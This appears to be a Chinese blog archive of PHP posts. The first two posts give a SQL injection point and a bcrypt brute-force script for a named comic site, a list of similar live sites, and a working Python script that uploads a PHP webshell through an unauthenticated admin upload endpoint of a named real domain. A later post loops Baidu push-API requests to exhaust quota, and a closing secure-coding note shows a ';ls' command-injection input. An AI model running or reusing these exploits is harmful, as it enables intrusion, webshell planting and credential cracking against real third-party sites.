分类 PHP 下的文章

歪歪漫画前台注入


tp3.2.3的框架 通杀漏洞
http://www.xxmh520.com/home/book/index/id/13559*
漫画目录id过滤不严谨造成的注入 后台 admin或者admin.php
但是上个文章说到 用的是password_hash来加密的
验证的话呢 就是password_verify
如果有头铁的大哥想试试猜组合密码的话 附上以下php脚本

<?php 
function randomkeys($length) {
    $returnStr='';
    $pattern = '1234567890';   //随机数可以自己添加
    for($i = 0; $i < $length; $i ++) {
        $returnStr .= $pattern {mt_rand ( 0, 10 )}; //生成php随机数
    }
    return $returnStr;
}
for ($i=0; $i < 200; $i++) {  //循环几次
    $hash = '$2y$10$wdFK9JBse5HoOGbihwR.q.YXcmC44i3owBckvMhV06gmLvG5UlRHO';  //这个值呢 是SQL注入之后sqlmap里面获取管理员的密码值出来的  aa654339
    $login = "aa65433".randomkeys(1); //输出几位
    if (password_verify($login,$hash)) {
        echo $login."成功";
        exit();
    }else{
        echo $login.randomkeys(1)."n";
    }

}


 ?>

如果遇到乱码 请在cmd执行 chcp 65001
下面送一波采集的站

http://www.gomh555.com/
http://www.wap.hgmh12.com/
http://hgdm5.com/
http://papamhw.com/
http://xxmh.me/
http://manhua.ww01.net/
http://yymh228.com/
http://www.wwhanman.com/
http://17z.me/
http://99ymh.com/
http://k03.me/
https://www.ihgmh.com/
http://www.wy555.cn/
http://yy.ue321.cn/
http://www.xxmh520.com/

歪歪漫画前台无限制getshell


这是一个前段时间拿到的一个getshell
由于网站用户是用password_hash解不开 所以现在才发出来
需要安装requests库
用法:python 文件名.py

import requests
import json
from urllib.parse import urlparse

def upload_shell(url):
    #vn_url="http://www.wap.hgmh12.com/admin/FileUpload/uploadfile"
    vn_url = url + "/admin/FileUpload/uploadfile"
    files={"file":("t00ls.php",open("t00ls.php","rb"))}
    try:
        res=requests.post(vn_url,files=files)
        res=res.json()
        domain = urlparse(vn_url)
        domain = domain.scheme+"://"+domain.netloc
        shell_address = domain + res"data"
        shell_code = requests.get(shell_address).status_code
        if shell_code == 200:
            print("[+] Success Url:%s"%shell_address)
            filename = 'shell.txt'
            with open(filename, 'w') as file_object:
                file_object.write("Success Url:%s"%shell_address%"密码:pass")
        elif shell_code == 500 :
            print("[-] Shell is 500 %s" % shell_address)
        elif shell_code == 404:
            print("[-] Faild Error")
    except Exception as e:
        print(e)
    
    



upload_shell("https://www.yymh556.com/")

PHP熊掌ID周级推送


<?php 
ignore_user_abort(true); //后台执行
set_time_limit(0); //无限制
@header("Content-type: text/html; charset=utf-8");
for ($i=0; $i <5000000; $i++) {  
$urls = array(
    'http://www.fxseo.net/index.php/archives/'.rand(1,318).'/', //作者本人的url规则是递增数
);
$api = 'http://data.zz.baidu.com/urls?appid=id值&token=token值&type=batch';
$ch = curl_init();
$options =  array(
    CURLOPT_URL => $api,
    CURLOPT_POST => true,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POSTFIELDS => implode("n", $urls),
    CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
);
curl_setopt_array($ch, $options);
$result = curl_exec($ch);
$json = json_decode($result,True);
if ($json['remain_batch'] != "0") {
    echo "周级推送剩余配额:".$json['remain_batch']." url:".$urls[0]."nr";
}else{
    echo "已经没有配额了兄弟."."nr";
}
}
 ?>

使用方法:php 文件名.php
这里要说一下 如果cmd输出乱码的话
chcp 65001
或者在php文件加入
system("chcp 65001");


PHP大法好—>安全的代码


0x00 首先

目前在深入的学习PHP中 自己是个学安全的 所以对于代码的安全较为敏感 网站的的漏洞源于代码的漏洞 白盒狗专注代码漏洞挖掘30年
学好代码审计的关键也是写好代码的关键:

  • 了解恶意用户要从哪些入口攻击整个框架
  • 一切输入都是有害的
  • 不要信任任何一个用户
  • 代码的逻辑

0x01 过滤输入

a.验证提交值是否为期望值或者允许值

<html>
<form action="" method="post">
    <input type="radio" name="gender" value="Male">Male<br/>
    <input type="radio" name="gender" value="Female">Female<br/>
    <input type="submit" name="submit" value="submit"><br/>
</form>
</html>
(a):
<?php
if(!empty($_POST))
{
    echo "The user's gender is ".$_POST['gender'].".<br/>";
}
?>
(b):
<?php
if(!empty($_POST))
{
    switch ($_POST['gender'])
    {
        case 'Male':
        case 'Female':
            echo "The user's gender is ".$_POST['gender'].".<br/>";
            break;

        default:
            echo "Invalid input value for gender specified.<br/>";
            break;
    }
}
?>

比较一下(a)(b)两种后台验证 (b)显然确保了正确值 对于处理数据方面显然很重要
b.确认提交类型是否为允许类型

$number_of_nights = (int)$_POST[’num_nights’];
if($num_of_nights == 0)
{
     echo “Error: Invalied number of nights for the room”;
     exit;
}

这种不仅能确认正确的输入 也可以改进系统的安全
c.输入数据库的数据

  • 输入必须使用addslashes()函数
  • stripslashes()用来返回数据的原始形式
  • php.ini文件中开启magic_quotes_gpc(格式化GET
    POST和cookie变量)和magic_quotes_runtime(格式化进入数据库的数据) 自动添加和过滤斜杠

d.其他恶意输入

  • 当用户传递数据给system()和exec()时 必须使用escapeshellcmd()避免任何恶意用户运行系统命令
<?php
        $a = escapeshellcmd($_GET['id']); //1.php?id=sixwhale;ls
        $b = $_GET['id'];
        system("echo $a");//结果(1)
        echo "<p>";
        system("echo $b");//结果(2)
    ?>

结果(1): sixwhale;ls
结果(2): sixwhale 1.php(遍历当前目录下所有文件)
;在shell里是分割命令的作用 所以可想而知 只要改变;后的值就可以导致很多命令注入

  • strip_tags()去掉HTML和PHP标记 避免恶意脚本植入
    0x02 转义输出

最常见的就是插入恶意的HTML代码 使用htmlspecialchars()或者htmlentities()函数
0x03 (//∀//)
今天看到了PHP与web安全的部分 虽然之前在网上了解过 实践中也有接触 但是感觉还是自己总结笔记印象比较深刻(毕竟还是希望在博客里写一些对自己有用的东西!!!) 只写了一部分 不定期更新中 希望不要吐槽啦(இдஇ; )